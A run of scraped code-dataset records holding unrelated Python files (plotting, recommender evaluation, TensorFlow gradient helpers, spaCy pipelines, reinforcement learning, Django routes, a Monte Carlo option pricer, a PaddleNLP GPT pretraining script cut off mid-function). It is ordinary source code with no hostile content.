vx[j, idx] = v[:, iy[j], ix[j]]\n\nvx = filt_B(vx, 1 / dt, 0, 1)\nfig, ax = plt.subplots(N, 1, figsize=(6, 6))\nfig.suptitle(f'VX at {N} sites')\nfor j in range(N):\n ax[j].plot(t, vx[j, :], label=f'X={ix[j]}, Y={iy[j]}')\n ax[j].set_ylabel('VX (m/s)')\n ax[j].legend(loc=1)\nax[N - 1].set_xlabel('Time (s)')\nfig.savefig('ssmgrm_rand_sites.png', dpi=300, bbox='tight', pad_inches=0.1)\n\n","sub_path":"LA/gp_rupture_test/LA/gp_rupture_test/scripts/plot_ssmgrm.py","file_name":"plot_ssmgrm.py","file_ext":"py","file_size_in_byte":1671,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"401676887","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@author: N.A.Amjad\n\"\"\"\nfrom neuralFramework.EventData import EventData\nfrom RBMAlgorithm import RBMAlgorithm\nfrom surprise import NormalPredictor\nfrom neuralFramework.Evaluator import Evaluator\n\nimport random\nimport numpy as np\n\ndef LoadEventData():\n ed = EventData()\n print(\"Loading Event ratings...\")\n data = ed.loadEventData()\n # ed.loadEventData() returns the rating dataset\n print(\"\\nComputing event popularity ranks so we can measure novelty later...\")\n rankings = ed.getPopularityRanks()\n # ranking reperesents the popularity ranking \n return (ed, data, rankings)\n\n\ndef TrainModel():\n np.random.seed(0)\n random.seed(0)\n# Load up common data set for the recommender algorithms\n (ed, evaluationData, rankings) = LoadEventData()\n# ed - EventData object\n# evaluateData - rating dataset\n# ranking - Popularity ranking for each event\n\n# Construct an Evaluator to evaluate them\n# Initally creates training set and test set \n evaluator = Evaluator(evaluationData, rankings)\n\n# Just make random recommendations\n Random = NormalPredictor()\n evaluator.AddAlgorithm(Random, \"Random\")\n\n# RBM\n# Just sets the epochs,hidden layer count,Batch Size and etc\n RBM = RBMAlgorithm(epochs=20)\n evaluator.AddAlgorithm(RBM, \"RBM\")\n\n\n# Fight!\n evaluator.Evaluate(True)\n evaluator.FitAndDump()\n \ndef TestModel(algo,testSubject):\n (ed, evaluationData, rankings) = LoadEventData()\n evaluator = Evaluator(evaluationData, rankings)\n evaluator.AddAlgorithm(algo, \"RBM\")\n # evaluator.Evaluate(False)\n recs = evaluator.SampleTopNRecs(ed,algo = algo, testSubject = testSubject)\n return recs\n \n ","sub_path":"Amjad/RBMBakeOff.py","file_name":"RBMBakeOff.py","file_ext":"py","file_size_in_byte":1676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"498779941","text":"\"\"\"\nCollection of TensorFlow gradient functions, wrapped to fit Ivy syntax and signature.\n\"\"\"\n\n# global\nimport tensorflow as _tf\n\n# local\nimport ivy\nfrom ivy.core.container import Container\n\n\ndef variable(x):\n with _tf.device('/' + ivy.dev_str(x).upper()):\n return _tf.Variable(x, trainable=True)\n\n\ndef is_variable(x):\n return isinstance(x, _tf.Variable)\n\n\ndef execute_with_gradients(func, xs):\n with _tf.GradientTape() as tape:\n func_ret = func(xs)\n if isinstance(func_ret, tuple):\n y = func_ret[0]\n rest = func_ret[1:]\n else:\n y = func_ret\n rest = tuple()\n grads = Container(tape.gradient(y, xs))\n return (y, grads, *rest)\n\n\ndef gradient_descent_update(ws, dcdws, lr):\n ws.map(lambda w, key_chain: w.assign(w - (dcdws if key_chain == '' else dcdws.at_key_chain(key_chain)) * lr))\n return ws\n\n\ndef adam_update(ws, dcdws, lr, mw, vw, step, beta1=0.9, beta2=0.999, epsilon=1e-7):\n step = _tf.cast(step, _tf.float32)\n mw = dcdws.map(lambda dcdw, kc: beta1 * mw.at_key_chain(kc) + (1 - beta1) * dcdw)\n dcdws_sqrd = dcdws.map(lambda dcdw, _: dcdw ** 2)\n vw = dcdws_sqrd.map(lambda dcdw_sqrd, kc: beta2 * vw.at_key_chain(kc) + (1 - beta2) * dcdw_sqrd)\n beta1_pow = beta1 ** step\n beta2_pow = beta2 ** step\n alpha = lr * (1 - beta2_pow)**0.5 / (1 - beta1_pow + epsilon)\n ws.map(lambda w, kc: w.assign(w - alpha * mw.at_key_chain(kc) / (vw.at_key_chain(kc) ** 0.5 + epsilon)))\n return ws, mw, vw\n\n\nstop_gradient = _tf.stop_gradient\n","sub_path":"ivy/tensorflow/core/gradients.py","file_name":"gradients.py","file_ext":"py","file_size_in_byte":1521,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"489598869","text":"\"\"\"\"\nFile for storing various variable and parameters\n\"\"\"\n\n'''Variables and Parameters'''\nHSV_Lower_Threshold = 150\nGaussian_K_Size = 11\nGaussian_Sigma = 0\nMorph_Element_Size = 13\nMedian_K_Size = 3\nCapture_Box_Count = 9\nCapture_Box_Dimension = 20\nCapture_Box_Separation_X = 8\nCapture_Box_Separation_Y = 18\nCapture_Position_X = 500\nCapture_Position_Y = 150\n\n'''Starting Point'''\nCapture_Region_X_Begin = 0.5\n\n'''Ending Point'''\nCapture_Region_Y_End = 0.8\nFinger_Threshold_Lower = 2.0\nFinger_Threshold_Upper = 3.8\n\n'''Factor of Width of Full Frame'''\nRadius_Threshold = 0.04\nFirst_Iteration = True\nFinger_Count_History = [0, 0]\n","sub_path":"src/parameters.py","file_name":"parameters.py","file_ext":"py","file_size_in_byte":626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"41442645","text":"from spacy.tokens import Token, Doc, Span\nfrom medcat.utils.normalizers import TokenNormalizer\nimport spacy\nimport os\n\nclass Pipe(object):\n r''' A wrapper around the standard spacy pipeline.\n\n Args:\n tokenizer (`spacy.tokenizer.Tokenizer`):\n What will be used to split text into tokens, can be anything built as a spacy tokenizer.\n config (`medcat.config.Config`):\n Global config for medcat.\n\n Properties:\n nlp (spacy.language.):\n The base spacy NLP pipeline.\n '''\n def __init__(self, tokenizer, config):\n self.nlp = spacy.load(config.general['spacy_model'], disable=config.general['spacy_disabled_components'])\n if config.preprocessing['stopwords'] is not None:\n self.nlp.Defaults.stop_words = set(config.preprocessing['stopwords'])\n self.nlp.tokenizer = tokenizer(self.nlp)\n\n\n def add_tagger(self, tagger, name, additional_fields=[]):\n r''' Add any kind of a tagger for tokens.\n\n Args:\n tagger (`object/function`):\n Any object/function that takes a spacy doc as an input, does something\n and returns the same doc.\n name (`str`):\n Name for this component in the pipeline.\n additional_fields (`List[str]`):\n Fields to be added to the `_` properties of a token.\n '''\n self.nlp.add_pipe(tagger, name='tag_' + name, first=True)\n # Add custom fields needed for this usecase\n Token.set_extension('to_skip', default=False, force=True)\n\n # Add any additional fields that are required\n for field in additional_fields:\n Token.set_extension(field, default=False, force=True)\n\n\n def add_token_normalizer(self, config, spell_checker=None):\n token_normalizer = TokenNormalizer(spell_checker=spell_checker, config=config)\n self.nlp.add_pipe(token_normalizer, name='token_normalizer', last=True)\n\n # Add custom fields needed for this usecase\n Token.set_extension('norm', default=None, force=True)\n\n\n def add_ner(self, ner):\n r''' Add NER from CAT to the pipeline, will also add the necessary fields\n to the document and Span objects.\n\n '''\n self.nlp.add_pipe(ner, name='cat_ner', last=True)\n\n Doc.set_extension('ents', default=[], force=True)\n Span.set_extension('confidence', default=-1, force=True)\n Span.set_extension('id', default=0, force=True)\n # Do not set this property if a vocabulary apporach is not used, this name must\n #refer to a name2cuis in the cdb.\n Span.set_extension('detected_name', default=None, force=True)\n Span.set_extension('link_candidates', default=None, force=True)\n\n\n def add_linker(self, linker):\n r''' Add entity linker to the pipeline, will also add the necessary fields\n to Span object.\n\n linker (object/function):\n Any object/function created based on the requirements for a spaCy pipeline components. Have\n a look at https://spacy.io/usage/processing-pipelines#custom-components\n '''\n self.nlp.add_pipe(linker, name='cat_linker', last=True)\n Span.set_extension('cui', default=-1, force=True)\n Span.set_extension('context_similarity', default=-1, force=True)\n\n\n def add_meta_cat(self, meta_cat, name):\n self.nlp.add_pipe(meta_cat, name=name, last=True)\n\n # Only the meta_anns field is needed, it will be a dictionary \n #of {category_name: value, ...}\n Span.set_extension('meta_anns', default=None, force=True)\n\n\n def __call__(self, text):\n return self.nlp(text)\n","sub_path":"medcat/pipe.py","file_name":"pipe.py","file_ext":"py","file_size_in_byte":3676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"449737688","text":"#!/usr/bin/python3\n\nclass people:\n a = 123\n __weight = 0 # 定义私有属性\n def __init__(self, realpart, imagpart, w):\n self.r = realpart\n self.i = imagpart\n self.__weight = w\n print(self.__weight)\n def func(self):\n print('r = %.2f and i = %.2f' %(self.r, self.i))\n return 'hello world'\n\nclass stu(people):\n g = ''\n def __init__(self, realpart, imagpart, w, grade):\n #调用父类的构函\n people.__init__(self, realpart, imagpart, w)\n self.g = grade\n #覆写父类的方法\n def func(self):\n print('r = %.2f and i = %.2f and g = %d' %(self.r, self.i, self.g))\n\n# 实例化类\nx = people(2.0, 4.5, 'fuck')\ns = stu(3.0, 2.0, 'you', 5)\n\n# 访问类的属性和方法\nprint(\"people 类的属性 i 为:\", x.a)\nprint(\"people 类的方法 f 输出为:\", x.func())\nprint((x.r), (x.i))\n\nprint((s.r), (s.i), (s.g), (s.a))\ns.func()\n\n#????????????????????????????????????\nclass Vector:\n def __init__(self, a, b):\n self.a = a\n self.b = b\n\n def __str__(self):\n return 'Vector (%d, %d)' % (self.a, self.b)\n \n def __add__(self, other):\n return Vector(self.a + other.a, self.b + other.b)\n\nv1 = Vector(2,10)\nv2 = Vector(5,-2)\nprint (v1 + v2)\n\n\n","sub_path":"6_class.py","file_name":"6_class.py","file_ext":"py","file_size_in_byte":1257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"459672814","text":"import pandas as pd\nimport pytest\n\n\n@pytest.mark.functions\n@pytest.mark.parametrize(\n \"invert,expected\",\n [\n (False, [\"a\", \"Bell__Chart\", \"cities\"]),\n (True, [\"decorated-elephant\", \"animals@#$%^\"]),\n ],\n)\ndef test_select_columns(dataframe, invert, expected):\n columns = [\"a\", \"Bell__Chart\", \"cities\"]\n df = dataframe.select_columns(search_column_names=columns, invert=invert)\n\n pd.testing.assert_frame_equal(df, dataframe[expected])\n\n\n@pytest.mark.functions\n@pytest.mark.parametrize(\n \"invert,expected\",\n [\n (False, [\"Bell__Chart\", \"a\", \"animals@#$%^\"]),\n (True, [\"decorated-elephant\", \"cities\"]),\n ],\n)\ndef test_select_columns_glob_inputs(dataframe, invert, expected):\n columns = [\"Bell__Chart\", \"a*\"]\n df = dataframe.select_columns(search_column_names=columns, invert=invert)\n\n pd.testing.assert_frame_equal(df, dataframe[expected])\n","sub_path":"tests/functions/test_select_columns.py","file_name":"test_select_columns.py","file_ext":"py","file_size_in_byte":899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"183494399","text":"import sklearn\nimport numpy as np\nimport pandas as pd\nimport dill as pickle\n\nfrom keras.models import load_model\n\n\nclass RNN(object):\n\n def __init__(self):\n with open('models/feature_scalers.pickle', 'rb') as f:\n self.feature_scalers = pickle.load(f)\n\n self.model = load_model('models/lstm.h5', compile=False)\n self.historic_data = pd.read_csv('data/clean/DK-DK2.csv',\n parse_dates=['datetime'],\n index_col='datetime')\n\n self.features = self.make_sequences(self.historic_data)\n\n self.targets = [k for k in list(self.features) if 'carbon_intensity_avg(t+' in k]\n self.features.drop(columns=self.targets, inplace=True)\n\n def predict(self, start):\n features = self.features.loc[start].values.reshape(1, 1, -1)\n prediction = self.model.predict(features)\n prediction = prediction.reshape(-1, 1)\n feature_scalers = [v for k, v in self.feature_scalers.items() if k in self.targets]\n return np.array([s.inverse_transform(v) for s, v in zip(feature_scalers, prediction)]).flatten()\n\n @staticmethod\n def make_sequences(data, n_tstep=24*4, n_target=24):\n\n cols, names = list(), list()\n\n # input sequence (t-n, ... t-1)\n for i in range(n_tstep, 0, -1):\n cols.append(data.shift(i))\n names += [f'{var}(t-{i})' for var in list(data)]\n\n # forecast sequence (t, t+1, ... t+n)\n for i in range(0, n_target):\n cols.append(data.carbon_intensity_avg.shift(-i))\n names.append(f'carbon_intensity_avg(t+{i})')\n\n agg = pd.concat(cols, axis=1)\n agg.columns = names\n return agg.dropna()\n","sub_path":"models/RNN.py","file_name":"RNN.py","file_ext":"py","file_size_in_byte":1739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"382034955","text":"from django.conf.urls import url\nfrom django.conf import settings\nfrom django.conf.urls.static import static\n\nfrom . import views\n\nurlpatterns = [\n url(r'^upload/$', views.model_form_upload, name='model_form_upload'),\n url(r'^editar/(?P\\d+)$', views.editar_t, name='editar_t'),\n url(r'^datospasa/(?P\\d+)$', views.form_pasa, name='form_pasa'),\n url(r'^consultar/$', views.buscar, name='buscar'),\n url(r'^consultar/p$', views.buscar_p, name='buscar_p'),\n url(r'^consultar/t$', views.buscar_t, name='buscar_t'),\n url(r'^consultar/s$', views.buscar_s, name='buscar_s'),\n url(r'^consultar/view/(?P\\d+)$', views.view_p, name='view_p'),\n url(r'^consultar/pasa/(?P\\d+)$', views.view_s, name='view_s'),\n url(r'^$', views.index, name='index'),\n\n\n] + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n","sub_path":"SIGPAE/SIGPAE/historia1/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":848,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"51135141","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport gym\nimport torch\nfrom rl.lib.nets import MLP\nfrom rl.lib.on_policy import reward_to_go, run\n\n\ndef policy_loss(logits, actions, advantages, eps):\n \"\"\"\n :param logits: (batch_size, act_dim) 2d array output of the policy\n :param actions (batch_size)\n :param advantages (batch_size)\n :return: A scalar value representing the loss\n \"\"\"\n batch_size = logits.shape[0]\n log_probs = logits.log_softmax(dim=1)[np.arange(batch_size), actions]\n\n # Negate so you can minimize\n return -torch.mean(log_probs * rewards)\n\n\ndef train(env, epochs=100, policy_lr=1e-2, v_lr=1e-3, train_v_iters=80, batch_size=5000):\n obs_dim = env.observation_space.shape[0]\n act_dim = env.action_space.n\n policy = MLP(dims=(obs_dim, 24, 24, act_dim)).float()\n V = MLP(dims=(obs_dim, 32, 32, 1)).float()\n\n policy_optimizer = torch.optim.Adam(policy.parameters(), lr=policy_lr)\n v_optimizer = torch.optim.Adam(V.parameters(), lr=v_lr)\n mean_rewards = []\n for i in range(epochs):\n states, actions, logits, rewards = run(env, batch_size, policy)\n mean_reward = sum([sum(ep_rewards) for ep_rewards in rewards]) / len(rewards)\n print(f'Episode {i + 1}: Mean Reward = {mean_reward:.2f}')\n mean_rewards.append(mean_reward)\n\n states_tensor = torch.Tensor(states)\n actions_tensor = torch.tensor(actions)\n logits_tensor = torch.stack(logits).squeeze(dim=1)\n\n values = V(states_tensor).squeeze(dim=1)\n weighted_rewards = reward_to_go(rewards, gamma=0.99)\n weighted_rewards_tensor = torch.Tensor(weighted_rewards)\n advantages = weighted_rewards_tensor - values\n epoch_loss = policy_loss(logits_tensor, actions_tensor, advantages)\n\n policy.zero_grad()\n epoch_loss.backward(retain_graph=True)\n policy_optimizer.step()\n\n for _ in range(train_v_iters):\n values = V(states_tensor).squeeze(dim=1)\n value_loss = torch.nn.MSELoss()(values, weighted_rewards_tensor)\n V.zero_grad()\n value_loss.backward()\n v_optimizer.step()\n\n return policy, mean_rewards\n\n\nif __name__ == '__main__':\n env = gym.make('CartPole-v1')\n policy, mean_rewards = train(env)\n\n plt.plot(mean_rewards)\n plt.show()\n\n for i in range(10):\n _, _, _, rewards = run(env, 1, policy, render=True)\n total_reward = sum(rewards[0])\n print(f'Episode {i}: Reward = {total_reward}')\n\n env.close()\n\n","sub_path":"rl/ppo.py","file_name":"ppo.py","file_ext":"py","file_size_in_byte":2519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"580044001","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Aug 9 23:07:31 2018\n\n@author: Tuan Nguyen @ quangtuan1412@gmail.com\n\n\"\"\"\nimport sqlite3 as sql\n\nif __name__ == \"__main__\":\n db = sql.connect('parking.sql')\n db.execute(\"CREATE TABLE card(id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, cardnumber CHAR NOT NULL)\")\n db.commit()\n db.close()\n","sub_path":"init.py","file_name":"init.py","file_ext":"py","file_size_in_byte":343,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"272128699","text":"\n\"\"\"\n\nToday, we're building on our knowledge of Arrays by adding another dimension. Check out the Tutorial tab for learning materials and an instructional video!\n\nContext\nGiven a 2D Array, A :\n\n1 1 1 0 0 0\n0 1 0 0 0 0\n1 1 1 0 0 0\n0 0 0 0 0 0\n0 0 0 0 0 0\n0 0 0 0 0 0\nWe define an hourglass in A to be a subset of values with indices falling in this pattern in A's graphical representation:\n\na b c\n d\ne f g\nThere are 16 hourglasses in A, and an hourglass sum is the sum of an hourglass' values.\n\nTask\nCalculate the hourglass sum for every hourglass in A, then print the maximum hourglass sum.\n\n\"\"\"\nfrom __future__ import print_function\nfrom data_structure import OrderedDict\n\ndef __main__():\n \"\"\"\n\n row_size = raw_input(prompt=\"Enter row size\")\n column_size = raw_input(prompt=\"Enter column size\")\n subset_array_size = raw_input(prompt=\"Enter subset array size\")\n\n \"\"\"\n row_size, column_size, subset_array_size = 6, 6, 3\n twoD_array=[[],[]]\n\n for _ in xrange(6):\n twoD_array.append(map(int, raw_input().rstrip().split()))\n\n subset_sum_dict = add_possible_subset(row_size, column_size, subset_array_size)\n calculate_subset_sum(twoD_array, subset_sum_dict, 3)\n max_i = max(subset_sum_dict, key=subset_sum_dict.get)\n\n print_sub_set(max_i, twoD_array)\n\n max_sum = max(subset_sum_dict.values())\n print(max_sum)\n\n\ndef add_possible_subset(row_size=6, column_size=6, subset_array_size=3):\n subset_sum_dict = OrderedDict()\n for i in xrange(0, row_size-subset_array_size+1):\n for j in xrange(0, column_size-subset_array_size+1):\n subset_sum_dict[\"{},{}\".format(i, j)] = 0\n return subset_sum_dict\n\n\n\ndef calculate_subset_sum(twoD_array, subset_sum_dict, subset_array_size=3):\n for key in subset_sum_dict.keys():\n row, col = map(int, key.split(\",\", 1))\n sum = 0\n for i in xrange(row, row+subset_array_size, 2):\n for j in xrange(col, col+subset_array_size):\n sum += twoD_array[i][j]\n mid_i, mid_j = row + int(subset_array_size/2), col + int(subset_array_size/2)\n sum += twoD_array[mid_i][mid_j]\n subset_sum_dict[\"{},{}\".format(row, col)] = sum\n\n\ndef print_sub_set(max_i, twoD_array):\n row, col = map(int, max_i.split(\",\", 1))\n for i in xrange(row, row + 3, 2):\n for j in xrange(col, col + 3):\n print(twoD_array[i][j], end=\" \")\n print()\n if i == row + 3 - 1:\n break\n print(\" {}\".format(twoD_array[row + 1][col + 1]))\n\n\ndef test_add_possible_subset():\n d = add_possible_subset()\n assert 16 == len(d)\n\n\ndef test_calculate_subset_sum():\n subset_sum_dict = add_possible_subset()\n twoD_array = [[1, 1, 1, 0, 0, 0],\n [0, 1, 0, 0, 0, 0],\n [1, 1, 1, 0, 0, 0],\n [0, 0, 2, 4, 4, 0],\n [0, 0, 0, 2, 0, 0],\n [0, 0, 1, 2, 4, 0]]\n calculate_subset_sum(twoD_array, subset_sum_dict, 3)\n\n print(subset_sum_dict)\n max_i = max(subset_sum_dict, key=subset_sum_dict.get)\n\n print_sub_set(max_i, twoD_array)","sub_path":"30_days_challenge/Day11_2D_Arrays.py","file_name":"Day11_2D_Arrays.py","file_ext":"py","file_size_in_byte":3081,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"108089441","text":"#\n# Monte Carlo valuation of European call options with NumPy (log version)\n# Much faster than other Monte Carlo simulations\n#\nimport math\nfrom numpy import *\n# Star import for shorter code\nfrom time import time\n\nrandom.seed(20000)\nt0 = time()\n\n# Parameters\nS0 = 100.; K = 105.; T = 1.0; r = 0.05; sigma = 0.2\nM = 50; dt = T / M; I = 250000\n\n# Simulating I paths with M time steps\nS = S0 * exp(cumsum((r - 0.5 * sigma ** 2) * dt\n + sigma * math.sqrt(dt)\n + random.standard_normal((M + 1, I)), axis = 0))\n \nS[0] = S0\n\n# Calculating the Monteo Carlo estimator\nC0 = math.exp(-r * T) * sum(maximum(S[-1] - K, 0)) / I\n\n# Results output\ntnp2 = time() - t0\nprint(\"European Option Value %7.3f\" % C0)\nprint(\"Duration in Seconds %7.3f\" % tnp2)\n\n","sub_path":"montecarlo.py","file_name":"montecarlo.py","file_ext":"py","file_size_in_byte":744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"245669133","text":"#!/usr/bin/python3\n\n# Context\n# Given a 6 x 6 2D Array, A:\n\n# 1 1 1 0 0 0\n# 0 1 0 0 0 0\n# 1 1 1 0 0 0\n# 0 0 0 0 0 0\n# 0 0 0 0 0 0\n# 0 0 0 0 0 0\n# We define an hourglass in A to be a subset of values with indices falling in\n# this pattern in A's graphical representation:\n\n# a b c\n# d\n# e f g\n# There are 16 hourglasses in A, and an hourglass sum is the sum of an\n# hourglass' values.\n\n# Task\n# Calculate the hourglass sum for every hourglass in A, then print the\n# maximum hourglass sum.\n\n# Input Format\n# There are 6 lines of input, where each line contains 6 space-separated\n# integers describing 2D Array A; every value in A will be in the\n# inclusive range of -9 to 9.\n\n# Constraints\n# -9 <= A[i][j] <= 9\n# 0 <= i,j <= 5\n\n# Output Format\n# Print the largest (maximum) hourglass sum found in A.\n\n# Sample Input\n\n# 1 1 1 0 0 0\n# 0 1 0 0 0 0\n# 1 1 1 0 0 0\n# 0 0 2 4 4 0\n# 0 0 0 2 0 0\n# 0 0 1 2 4 0\n# Sample Output\n\n# 19\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n\n# Complete the array2D function below.\ndef array2D(arr):\n res = list()\n for i in range(4):\n for j in range(4):\n result = sum(arr[i][j:j+3]) + arr[i+1][j+1] + sum(\n arr[i+2][j:j+3])\n res.append(result)\n return(max(res))\n\n\nif __name__ == '__main__':\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n arr = []\n\n for _ in range(6):\n arr.append(list(map(int, input().rstrip().split())))\n\n result = array2D(arr)\n\n fptr.write(str(result) + '\\n')\n\n fptr.close()\n","sub_path":"30-days-of-code/Day_11:_2D_Arrays.py","file_name":"Day_11:_2D_Arrays.py","file_ext":"py","file_size_in_byte":1512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"393000032","text":"import functools\nimport sys\n\nimport geopandas as gpd\nimport numpy as np\nimport pandas as pd\nimport xarray as xr\nfrom scipy.stats import binom\n\nfrom carbonplan_forests import utils\n\n\ndef integrated_risk(p):\n return (1 - binom.cdf(0, 10, p)) * 100\n\n\nargs = sys.argv\n\nif len(args) < 2:\n raise ValueError('must specify dataset')\ndataset = args[1]\n\nprecision = {'biomass': 2, 'fire': 3, 'drought': 3, 'insects': 3, 'biophysical': 3}\n\nds = xr.open_zarr(f'data/{dataset}.zarr')\n\nif dataset == 'fire':\n scenarios = ['ssp245', 'ssp370', 'ssp585']\n for scenario in scenarios:\n keys = list(\n filter(lambda a: a is not None, [k if scenario in k else None for k in ds.data_vars])\n )\n ds[scenario] = functools.reduce(lambda a, b: a + b, [ds[key] for key in keys]) / len(keys)\n\nif dataset in ['fire', 'biomass', 'drought', 'insects']:\n scenarios = ['ssp245', 'ssp370', 'ssp585']\n targets = ds['year'].values\n\n a = np.concatenate([ds[scenario].values for scenario in scenarios], axis=0)\n\n if dataset == 'fire':\n a = integrated_risk(a)\n\n a[np.isnan(a)] = 0\n r, c = np.nonzero(a.max(axis=0))\n lat, lon = utils.rowcol_to_latlon(r, c, res=4000)\n\n df = pd.DataFrame()\n\n for s, scenario in enumerate(scenarios):\n for y, year in enumerate(targets):\n key = str(s) + '_' + str(y)\n a = ds[scenario].sel(year=year).values\n\n if dataset == 'fire':\n a = integrated_risk(a)\n\n a[np.isnan(a)] = 0\n df[key] = np.round(a[r, c], precision[dataset])\n\nif dataset == 'biophysical':\n a = ds['biophysical'].values\n a = -a\n a[np.isnan(a)] = 0\n a[a < 0.25 * a.max()] = 0\n a = a.astype('float64')\n r, c = np.nonzero(a)\n lat, lon = utils.rowcol_to_latlon(r, c, res=4000)\n\n df = pd.DataFrame()\n df['0'] = np.round(a[r, c], precision[dataset])\n\ngdf = gpd.GeoDataFrame(df, geometry=gpd.points_from_xy(lon, lat))\ngdf.to_file(f'data/{dataset}.geojson', driver='GeoJSON')\n","sub_path":"scripts/convert.py","file_name":"convert.py","file_ext":"py","file_size_in_byte":2003,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"463079741","text":"# Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"\nPretrain GPT in static graph mode.\n\"\"\"\nimport argparse\nimport math\nimport os\nimport random\nimport time\n\nos.path.expandvars('$HOME')\nos.path.expanduser('~')\n\nimport numpy as np\nimport paddle\nimport paddle.distributed.fleet as fleet\nfrom paddle.distributed.fleet.meta_optimizers.sharding.utils import save_persistables\nfrom paddlenlp.transformers import GPTModel, GPTForPretraining, GPTPretrainingCriterion\nfrom paddlenlp.transformers import GPTTokenizer, GPTChineseTokenizer\nfrom paddlenlp.ops import Topology, get_rng_state_tracker\nfrom paddlenlp.utils.log import logger\nimport paddlenlp.ops as ops\nfrom visualdl import LogWriter\n\nfrom dataset import create_pretrained_dataset\nfrom args import parse_args\nimport lr\n\nMODEL_CLASSES = {\n \"gpt\": (GPTForPretraining, GPTTokenizer),\n \"gpt-cn\": (GPTForPretraining, GPTChineseTokenizer),\n}\n\n\ndef create_data_holder(args):\n \"\"\"creat data holder\"\"\"\n tokens = paddle.static.data(\n name=\"tokens\", shape=[-1, args.max_seq_len], dtype=\"int64\")\n loss_mask = paddle.static.data(\n name=\"loss_mask\", shape=[-1, args.max_seq_len], dtype=\"float32\")\n attention_mask = paddle.static.data(\n name=\"attention_mask\",\n shape=[-1, 1, args.max_seq_len, args.max_seq_len],\n dtype=\"float32\")\n position_ids = paddle.static.data(\n name=\"position_ids\", shape=[-1, args.max_seq_len], dtype=\"int64\")\n labels = paddle.static.data(\n name=\"labels\", shape=[-1, args.max_seq_len], dtype=\"int64\")\n return [tokens, loss_mask, attention_mask, position_ids, labels]\n\n\ndef dist_optimizer(args, topo):\n default_global_batch_size = topo.data_info.size * args.micro_batch_size\n if args.global_batch_size is None:\n args.global_batch_size = default_global_batch_size\n\n bsz_per_dp = args.global_batch_size // topo.data_info.size\n micro_batch_size = args.micro_batch_size\n assert args.global_batch_size % micro_batch_size == 0, \"cannot do gradient accumulate, global_batch_size: {} micro_batch_size: {}\".format(\n args.global_batch_size, micro_batch_size)\n acc_steps = bsz_per_dp // micro_batch_size\n\n exec_strategy = paddle.fluid.ExecutionStrategy()\n exec_strategy.num_threads = 2\n exec_strategy.num_iteration_per_drop_scope = 1\n\n dist_strategy = fleet.DistributedStrategy()\n dist_strategy.execution_strategy = exec_strategy\n dist_strategy.nccl_comm_num = 3\n\n dist_strategy.recompute = args.use_recompute\n dist_strategy.pipeline = args.pp_degree > 1\n\n if args.use_amp:\n dist_strategy.amp = True\n dist_strategy.amp_configs = {\n \"custom_white_list\": [\n 'softmax',\n 'layer_norm',\n 'gelu',\n ],\n \"custom_black_list\": ['c_softmax_with_cross_entropy'],\n \"init_loss_scaling\": 32768,\n \"use_dynamic_loss_scaling\": True,\n }\n if args.use_sharding:\n dist_strategy.sharding = True\n dist_strategy.sharding_configs = {\n \"segment_broadcast_MB\": 32,\n \"sharding_degree\": args.sharding_degree,\n \"mp_degree\": args.mp_degree,\n \"pp_degree\": args.pp_degree,\n \"dp_degree\": args.dp_degree,\n \"optimize_offload\": False,\n }\n if args.pp_degree > 1:\n dist_strategy.pipeline_configs = {\n \"schedule_mode\": \"1F1B\",\n \"micro_micro_batch_size\": micro_batch_size,\n \"accumulate_steps\": acc_steps,\n }\n else:\n assert acc_steps == 1, \"Only support accumulate steps in piplinemode. Please set you global_batch_size={}\".format(\n default_global_batch_size)\n\n return dist_strategy\n\n\ndef get_train_data_file(args):\n files = [\n os.path.join(args.input_dir, f) for f in os.listdir(args.input_dir)\n if (os.path.isfile(os.path.join(args.input_dir, f)) and \"npz_\" not in\n str(f))\n ]\n\n data_file = files[0]\n return data_file\n\n\ndef init_static_with_params(model, dygraph_params, topo, prog=None):\n from paddlenlp.utils.tools import dygraph_params_to_static\n static_params = dygraph_params_to_static(model, dygraph_params, topo)\n if prog is None:\n prog = paddle.static.default_main_program()\n paddle.static.set_program_state(prog, static_params)\n\n\ndef run_evaluate(data_loader,\n exe,\n program,\n iter_steps,\n log_writer,\n global_step,\n args,\n epoch,\n is_last,\n eval_fetch,\n task_name=\"valid\"):\n all_loss = []\n local_time = time.time()\n\n for eval_step, batch in 